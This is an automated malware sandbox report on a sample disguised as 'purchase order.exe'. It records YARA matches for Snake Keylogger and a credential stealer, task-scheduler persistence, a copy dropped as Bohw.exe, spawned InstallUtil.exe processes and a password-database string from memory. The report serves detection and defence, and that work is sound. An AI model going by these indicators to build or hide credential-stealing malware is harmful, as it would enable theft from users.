Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E9F98	8_2_066E9F98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066EEF91	8_2_066EEF91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066EAC2F	8_2_066EAC2F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E0488	8_2_066E0488
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066EEC9E	8_2_066EEC9E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E0498	8_2_066E0498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E7490	8_2_066E7490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066EC568	8_2_066EC568
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E7D40	8_2_066E7D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E7D50	8_2_066E7D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E4D2B	8_2_066E4D2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E4D38	8_2_066E4D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E0D39	8_2_066E0D39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066EA5F3	8_2_066EA5F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E5A68	8_2_066E5A68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066EB279	8_2_066EB279
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E5A58	8_2_066E5A58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066ED202	8_2_066ED202
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E32D0	8_2_066E32D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066EEB6A	8_2_066EEB6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E630B	8_2_066E630B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E6318	8_2_066E6318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E6BE9	8_2_066E6BE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E6BF0	8_2_066E6BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E23A7	8_2_066E23A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E23B8	8_2_066E23B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066ECBB8	8_2_066ECBB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066EF066	8_2_066EF066
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E7048	8_2_066E7048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E0040	8_2_066E0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E7037	8_2_066E7037
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E0006	8_2_066E0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E78E8	8_2_066E78E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E08E1	8_2_066E08E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E78F8	8_2_066E78F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E08F0	8_2_066E08F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066EB8C8	8_2_066EB8C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E51AB	8_2_066E51AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E81A3	8_2_066E81A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_066E51B8	8_2_066E51B8

Source: purchase order.exe

Static PE information: invalid certificate

Source: purchase order.exe, 00000000.00000002.2561805617.0000000000E9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs purchase order.exe
Source: purchase order.exe, 00000000.00000002.2588851918.00000000062D0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs purchase order.exe
Source: purchase order.exe, 00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs purchase order.exe
Source: purchase order.exe, 00000000.00000002.2562619259.0000000003028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs purchase order.exe
Source: purchase order.exe, 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedoc2.exe: vs purchase order.exe
Source: purchase order.exe, 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs purchase order.exe
Source: purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMlhvh.dll" vs purchase order.exe
Source: purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs purchase order.exe
Source: purchase order.exe, 00000000.00000002.2562619259.0000000002D5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs purchase order.exe
Source: purchase order.exe, 00000000.00000000.2425893250.000000000086E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamedoc2.exe: vs purchase order.exe
Source: purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs purchase order.exe
Source: purchase order.exe, 00000000.00000002.2572247495.0000000003D39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs purchase order.exe
Source: purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs purchase order.exe
Source: purchase order.exe, 00000000.00000002.2586151195.0000000005E40000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMlhvh.dll" vs purchase order.exe
Source: purchase order.exe, 00000000.00000002.2572247495.0000000003DB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs purchase order.exe
Source: purchase order.exe	Binary or memory string: OriginalFilenamedoc2.exe: vs purchase order.exe

Source: purchase order.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 5.2.Bohw.exe.41bfeb8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.Bohw.exe.41bfeb8.5.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.Bohw.exe.41bfeb8.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.Bohw.exe.41bfeb8.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.purchase order.exe.3e6e350.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.purchase order.exe.3e6e350.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.purchase order.exe.3e6e350.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.purchase order.exe.3e6e350.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 5.2.Bohw.exe.41bfeb8.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.Bohw.exe.41bfeb8.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.Bohw.exe.41bfeb8.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.Bohw.exe.41bfeb8.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000006.00000002.2879526593.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000005.00000002.2797251717.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000007.00000002.3683072069.000000000041B000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: purchase order.exe PID: 6884, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: purchase order.exe PID: 6884, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: Bohw.exe PID: 6024, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Bohw.exe PID: 6024, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: Bohw.exe PID: 4528, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Bohw.exe PID: 4528, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: InstallUtil.exe PID: 6644, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.purchase order.exe.3db1698.7.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.purchase order.exe.3db1698.7.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.purchase order.exe.3db1698.7.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.purchase order.exe.3db1698.7.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.purchase order.exe.3d61678.1.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.purchase order.exe.3d61678.1.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.purchase order.exe.3db1698.7.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.purchase order.exe.3db1698.7.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.purchase order.exe.3d61678.1.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.purchase order.exe.3d61678.1.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.purchase order.exe.3db1698.7.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.purchase order.exe.3d61678.1.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.purchase order.exe.3db1698.7.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.purchase order.exe.3db1698.7.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.purchase order.exe.3db1698.7.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.purchase order.exe.3d61678.1.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.purchase order.exe.3d61678.1.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.purchase order.exe.3d61678.1.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)

Source: purchase order.exe, TextMapInjectAdapter.cs	Suspicious method names: .TextMapInjectAdapter.GetEnumerator
Source: purchase order.exe, TextMapInjectAdapter.cs	Suspicious method names: .TextMapInjectAdapter.Set
Source: Bohw.exe.0.dr, NoopTracer.cs	Suspicious method names: .NoopTracer.Inject
Source: purchase order.exe, GlobalTracer.cs	Suspicious method names: .GlobalTracer.Inject
Source: Bohw.exe.0.dr, TextMapPropagator.cs	Suspicious method names: .TextMapPropagator.Inject
Source: Bohw.exe.0.dr, ConsolePropagator.cs	Suspicious method names: .ConsolePropagator.Inject
Source: purchase order.exe, ConsolePropagator.cs	Suspicious method names: .ConsolePropagator.Inject
Source: purchase order.exe, NoopTracer.cs	Suspicious method names: .NoopTracer.Inject
Source: purchase order.exe, BinaryInjectAdapter.cs	Suspicious method names: .BinaryInjectAdapter.Set
Source: purchase order.exe, BinaryInjectAdapter.cs	Suspicious method names: .BinaryInjectAdapter.Get
Source: purchase order.exe, BinaryPropagator.cs	Suspicious method names: .BinaryPropagator.Inject
Source: Bohw.exe.0.dr, TextMapInjectAdapter.cs	Suspicious method names: .TextMapInjectAdapter.GetEnumerator
Source: Bohw.exe.0.dr, TextMapInjectAdapter.cs	Suspicious method names: .TextMapInjectAdapter.Set
Source: Bohw.exe.0.dr, GlobalTracer.cs	Suspicious method names: .GlobalTracer.Inject
Source: Bohw.exe.0.dr, BinaryPropagator.cs	Suspicious method names: .BinaryPropagator.Inject
Source: purchase order.exe, ITracer.cs	Suspicious method names: ..Inject
Source: Bohw.exe.0.dr, MockTracer.cs	Suspicious method names: .MockTracer.Inject
Source: purchase order.exe, IPropagator.cs	Suspicious method names: ..Inject
Source: purchase order.exe, MockTracer.cs	Suspicious method names: .MockTracer.Inject
Source: Bohw.exe.0.dr, BinaryInjectAdapter.cs	Suspicious method names: .BinaryInjectAdapter.Set
Source: Bohw.exe.0.dr, BinaryInjectAdapter.cs	Suspicious method names: .BinaryInjectAdapter.Get
Source: Bohw.exe.0.dr, ITracer.cs	Suspicious method names: ..Inject
Source: purchase order.exe, TextMapPropagator.cs	Suspicious method names: .TextMapPropagator.Inject
Source: Bohw.exe.0.dr, IPropagator.cs	Suspicious method names: ..Inject

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/2@3/3

Source: C:\Users\user\Desktop\purchase order.exe

File created: C:\Users\user\AppData\Roaming\Bohw.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Mutant created: NULL

Source: purchase order.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: purchase order.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\purchase order.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: InstallUtil.exe, 00000003.00000002.3690336152.00000000029AB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.00000000029C9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.00000000029FD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3698046280.000000000384A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.00000000029BB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002B8D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002BCF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002BC2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: purchase order.exe

ReversingLabs: Detection: 26%

Source: C:\Users\user\Desktop\purchase order.exe

File read: C:\Users\user\Desktop\purchase order.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\purchase order.exe "C:\Users\user\Desktop\purchase order.exe"
Source: C:\Users\user\Desktop\purchase order.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Bohw.exe "C:\Users\user\AppData\Roaming\Bohw.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Bohw.exe "C:\Users\user\AppData\Roaming\Bohw.exe"
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
